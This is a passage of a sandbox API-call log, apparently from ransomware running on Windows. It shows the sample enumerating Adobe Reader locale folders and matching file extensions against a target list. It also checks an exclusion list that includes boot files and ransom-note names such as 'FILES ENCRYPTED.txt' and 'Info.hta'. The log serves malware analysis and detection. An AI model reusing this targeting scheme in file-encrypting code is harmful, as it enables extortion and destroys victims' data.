lpString2="s.js") returned -1 [0261.902] lstrlenW (lpString=".iff") returned 4 [0261.902] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0261.902] lstrlenW (lpString=".inc") returned 4 [0261.902] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0261.902] lstrlenW (lpString=".indd") returned 5 [0261.902] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0261.902] lstrlenW (lpString=".ini") returned 4 [0261.902] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0261.902] lstrlenW (lpString=".iqy") returned 4 [0261.902] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0261.902] lstrlenW (lpString=".j2c") returned 4 [0261.902] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0261.902] lstrlenW (lpString=".j2k") returned 4 [0261.902] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0261.902] lstrlenW (lpString=".java") returned 5 [0261.902] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0261.902] lstrlenW (lpString=".jp2") returned 4 [0261.902] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0261.902] lstrlenW (lpString=".jpc") returned 4 [0261.902] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0261.902] lstrlenW (lpString=".jpe") returned 4 [0261.902] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0261.903] lstrlenW (lpString=".jpeg") returned 5 [0261.903] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0261.903] lstrlenW (lpString=".jpf") returned 4 [0261.903] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0261.903] lstrlenW (lpString=".jpg") returned 4 [0261.903] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0261.903] lstrlenW (lpString=".jpx") returned 4 [0261.903] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0261.903] lstrlenW (lpString=".js") returned 3 [0261.903] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0261.903] lstrlenW (lpString="ui-strings.js") returned 13 [0261.903] lstrlenW (lpString=".love$") returned 6 [0261.903] lstrcmpiW (lpString1=".love$", lpString2="ngs.js") returned -1 [0261.903] lstrlenW (lpString="ui-strings.js") returned 13 [0261.903] lstrcmpiW (lpString1="boot.ini", lpString2="ui-strings.js") returned -1 [0261.903] lstrcmpiW (lpString1="bootfont.bin", lpString2="ui-strings.js") returned -1 [0261.903] lstrcmpiW (lpString1="ntldr", lpString2="ui-strings.js") returned -1 [0261.903] lstrcmpiW (lpString1="ntdetect.com", lpString2="ui-strings.js") returned -1 [0261.904] lstrcmpiW (lpString1="io.sys", lpString2="ui-strings.js") returned -1 [0261.904] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="ui-strings.js") returned -1 [0261.904] lstrcmpiW (lpString1="Info.hta", lpString2="ui-strings.js") returned -1 [0261.904] lstrcmpiW (lpString1="finbbp.exe", lpString2="ui-strings.js") returned -1 [0261.904] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fr-fr\\ui-strings.js") returned 119 [0261.904] FindNextFileW (in: hFindFile=0x33156f0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4199, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0261.904] FindClose (in: hFindFile=0x33156f0 | out: hFindFile=0x33156f0) returned 1 [0261.905] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4245db8 | out: hHeap=0x670000) returned 1 [0261.905] FindNextFileW (in: hFindFile=0x33158f0, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0261.905] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fr-ma") returned 105 [0261.905] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fr-ma") returned 1 [0261.905] lstrlenW (lpString="fr-ma") returned 5 [0261.905] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="fr-ma") returned -1 [0261.905] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4245db8 [0261.905] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fr-ma") returned 105 [0261.905] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fr-ma\\*", lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315ab0 [0261.907] FindNextFileW (in: hFindFile=0x3315ab0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0261.907] FindNextFileW (in: hFindFile=0x3315ab0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4199, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0261.907] lstrlenW (lpString="ui-strings.js") returned 13 [0261.907] lstrlenW (lpString=".1cd") returned 4 [0261.907] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0261.907] lstrlenW (lpString=".3ds") returned 4 [0261.907] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0261.907] lstrlenW (lpString=".3fr") returned 4 [0261.907] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0261.907] lstrlenW (lpString=".3g2") returned 4 [0261.907] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0261.907] lstrlenW (lpString=".3gp") returned 4 [0261.907] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0261.908] lstrlenW (lpString=".7z") returned 3 [0261.908] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0261.908] lstrlenW (lpString=".accda") returned 6 [0261.908] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0261.908] lstrlenW (lpString=".accdb") returned 6 [0261.908] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0261.908] lstrlenW (lpString=".accdc") returned 6 [0261.908] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0261.908] lstrlenW (lpString=".accde") returned 6 [0261.908] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0261.908] lstrlenW (lpString=".accdt") returned 6 [0261.908] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0261.908] lstrlenW (lpString=".accdw") returned 6 [0261.908] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0261.908] lstrlenW (lpString=".adb") returned 4 [0261.908] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0261.908] lstrlenW (lpString=".adp") returned 4 [0261.908] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0261.908] lstrlenW (lpString=".ai") returned 3 [0261.908] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0261.908] lstrlenW (lpString=".ai3") returned 4 [0261.908] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0261.908] lstrlenW (lpString=".ai4") returned 4 [0261.908] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0261.909] lstrlenW (lpString=".ai5") returned 4 [0261.909] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0261.909] lstrlenW (lpString=".ai6") returned 4 [0261.909] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0261.909] lstrlenW (lpString=".ai7") returned 4 [0261.909] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0261.909] lstrlenW (lpString=".ai8") returned 4 [0261.909] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0261.909] lstrlenW (lpString=".anim") returned 5 [0261.909] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0261.909] lstrlenW (lpString=".arw") returned 4 [0261.909] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0261.909] lstrlenW (lpString=".as") returned 3 [0261.909] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0261.909] lstrlenW (lpString=".asa") returned 4 [0261.909] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0261.909] lstrlenW (lpString=".asc") returned 4 [0261.909] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0261.909] lstrlenW (lpString=".ascx") returned 5 [0261.909] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0261.909] lstrlenW (lpString=".asm") returned 4 [0261.909] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0261.909] lstrlenW (lpString=".asmx") returned 5 [0261.909] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0261.910] lstrlenW (lpString=".asp") returned 4 [0261.910] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0261.910] lstrlenW (lpString=".aspx") returned 5 [0261.910] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0261.910] lstrlenW (lpString=".asr") returned 4 [0261.910] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0261.910] lstrlenW (lpString=".asx") returned 4 [0261.910] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0261.910] lstrlenW (lpString=".avi") returned 4 [0261.910] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0261.910] lstrlenW (lpString=".avs") returned 4 [0261.910] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0261.910] lstrlenW (lpString=".backup") returned 7 [0261.910] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0261.910] lstrlenW (lpString=".bak") returned 4 [0261.910] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0261.910] lstrlenW (lpString=".bay") returned 4 [0261.910] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0261.910] lstrlenW (lpString=".bd") returned 3 [0261.910] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0261.910] lstrlenW (lpString=".bin") returned 4 [0261.910] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0261.910] lstrlenW (lpString=".bmp") returned 4 [0261.910] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0261.911] lstrlenW (lpString=".bz2") returned 4 [0261.911] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0261.911] lstrlenW (lpString=".c") returned 2 [0261.911] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0261.911] lstrlenW (lpString=".cdr") returned 4 [0261.911] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0261.911] lstrlenW (lpString=".cer") returned 4 [0261.911] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0261.911] lstrlenW (lpString=".cf") returned 3 [0261.911] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0261.911] lstrlenW (lpString=".cfc") returned 4 [0261.911] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0261.911] lstrlenW (lpString=".cfm") returned 4 [0261.911] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0261.911] lstrlenW (lpString=".cfml") returned 5 [0261.911] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0261.911] lstrlenW (lpString=".cfu") returned 4 [0261.911] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0261.911] lstrlenW (lpString=".chm") returned 4 [0261.912] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0261.912] lstrlenW (lpString=".cin") returned 4 [0261.912] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0261.912] lstrlenW (lpString=".class") returned 6 [0261.912] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0261.912] lstrlenW (lpString=".clx") returned 4 [0261.912] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0261.912] lstrlenW (lpString=".config") returned 7 [0261.912] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0261.912] lstrlenW (lpString=".cpp") returned 4 [0261.912] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0261.912] lstrlenW (lpString=".cr2") returned 4 [0261.912] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0261.912] lstrlenW (lpString=".crt") returned 4 [0261.912] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0261.912] lstrlenW (lpString=".crw") returned 4 [0261.912] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0261.912] lstrlenW (lpString=".cs") returned 3 [0261.912] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0261.912] lstrlenW (lpString=".css") returned 4 [0261.912] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0261.912] lstrlenW (lpString=".csv") returned 4 [0261.912] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0261.912] lstrlenW (lpString=".cub") returned 4 [0261.912] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0261.912] lstrlenW (lpString=".dae") returned 4 [0261.913] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0261.913] lstrlenW (lpString=".dat") returned 4 [0261.913] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0261.913] lstrlenW (lpString=".db") returned 3 [0261.913] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0261.913] lstrlenW (lpString=".dbf") returned 4 [0261.913] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0261.913] lstrlenW (lpString=".dbx") returned 4 [0261.913] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0261.913] lstrlenW (lpString=".dc3") returned 4 [0261.913] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0261.913] lstrlenW (lpString=".dcm") returned 4 [0261.913] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0261.913] lstrlenW (lpString=".dcr") returned 4 [0261.913] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0261.913] lstrlenW (lpString=".der") returned 4 [0261.913] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0261.913] lstrlenW (lpString=".dib") returned 4 [0261.913] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0261.913] lstrlenW (lpString=".dic") returned 4 [0261.913] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0261.913] lstrlenW (lpString=".dif") returned 4 [0261.913] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0261.913] lstrlenW (lpString=".divx") returned 5 [0261.914] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0261.914] lstrlenW (lpString=".djvu") returned 5 [0261.914] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0261.914] lstrlenW (lpString=".dng") returned 4 [0261.914] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0261.914] lstrlenW (lpString=".doc") returned 4 [0261.914] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0261.914] lstrlenW (lpString=".docm") returned 5 [0261.914] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0261.914] lstrlenW (lpString=".docx") returned 5 [0261.914] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0261.914] lstrlenW (lpString=".dot") returned 4 [0261.914] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0261.914] lstrlenW (lpString=".dotm") returned 5 [0261.914] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0261.914] lstrlenW (lpString=".dotx") returned 5 [0261.914] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0261.914] lstrlenW (lpString=".dpx") returned 4 [0261.914] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0261.914] lstrlenW (lpString=".dqy") returned 4 [0261.914] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0261.914] lstrlenW (lpString=".dsn") returned 4 [0261.914] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0261.914] lstrlenW (lpString=".dt") returned 3 [0261.914] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0261.914] lstrlenW (lpString=".dtd") returned 4 [0261.915] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0261.915] lstrlenW (lpString=".dwg") returned 4 [0261.915] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0261.915] lstrlenW (lpString=".dwt") returned 4 [0261.915] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0261.915] lstrlenW (lpString=".dx") returned 3 [0261.915] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0261.915] lstrlenW (lpString=".dxf") returned 4 [0261.915] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0261.915] lstrlenW (lpString=".edml") returned 5 [0261.915] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0261.915] lstrlenW (lpString=".efd") returned 4 [0261.915] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0261.915] lstrlenW (lpString=".elf") returned 4 [0261.915] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0261.915] lstrlenW (lpString=".emf") returned 4 [0261.916] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0261.916] lstrlenW (lpString=".emz") returned 4 [0261.916] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0261.916] lstrlenW (lpString=".epf") returned 4 [0261.916] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0261.916] lstrlenW (lpString=".eps") returned 4 [0261.916] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0261.916] FindNextFileW (in: hFindFile=0x3315ab0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4199, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0261.916] FindClose (in: hFindFile=0x3315ab0 | out: hFindFile=0x3315ab0) returned 1 [0261.917] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4245db8 | out: hHeap=0x670000) returned 1 [0261.917] FindNextFileW (in: hFindFile=0x33158f0, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="he-il", cAlternateFileName="")) returned 1 [0261.917] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\he-il") returned 105 [0261.917] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\he-il") returned 1 [0261.917] lstrlenW (lpString="he-il") returned 5 [0261.917] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="he-il") returned -1 [0261.917] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4245db8 [0261.917] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\he-il") returned 105 [0261.917] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\he-il\\*", lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315970 [0261.919] FindNextFileW (in: hFindFile=0x3315970, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0261.919] FindNextFileW (in: hFindFile=0x3315970, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0261.919] FindClose (in: hFindFile=0x3315970 | out: hFindFile=0x3315970) returned 1 [0261.919] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4245db8 | out: hHeap=0x670000) returned 1 [0261.919] FindNextFileW (in: hFindFile=0x33158f0, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0261.919] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\hr-hr") returned 105 [0261.919] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\hr-hr") returned 1 [0261.920] lstrlenW (lpString="hr-hr") returned 5 [0261.920] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="hr-hr") returned -1 [0261.920] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4245db8 [0261.920] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\hr-hr") returned 105 [0261.920] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\hr-hr\\*", lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315770 [0261.920] FindNextFileW (in: hFindFile=0x3315770, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0261.920] FindNextFileW (in: hFindFile=0x3315770, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3d6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0261.920] lstrlenW (lpString="ui-strings.js") returned 13 [0261.921] lstrlenW (lpString=".1cd") returned 4 [0261.921] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0261.921] lstrlenW (lpString=".3ds") returned 4 [0261.921] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0261.921] lstrlenW (lpString=".3fr") returned 4 [0261.921] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0261.921] lstrlenW (lpString=".3g2") returned 4 [0261.921] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0261.921] lstrlenW (lpString=".3gp") returned 4 [0261.921] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0261.921] lstrlenW (lpString=".7z") returned 3 [0261.921] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0261.921] lstrlenW (lpString=".accda") returned 6 [0261.921] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0261.921] lstrlenW (lpString=".accdb") returned 6 [0261.921] 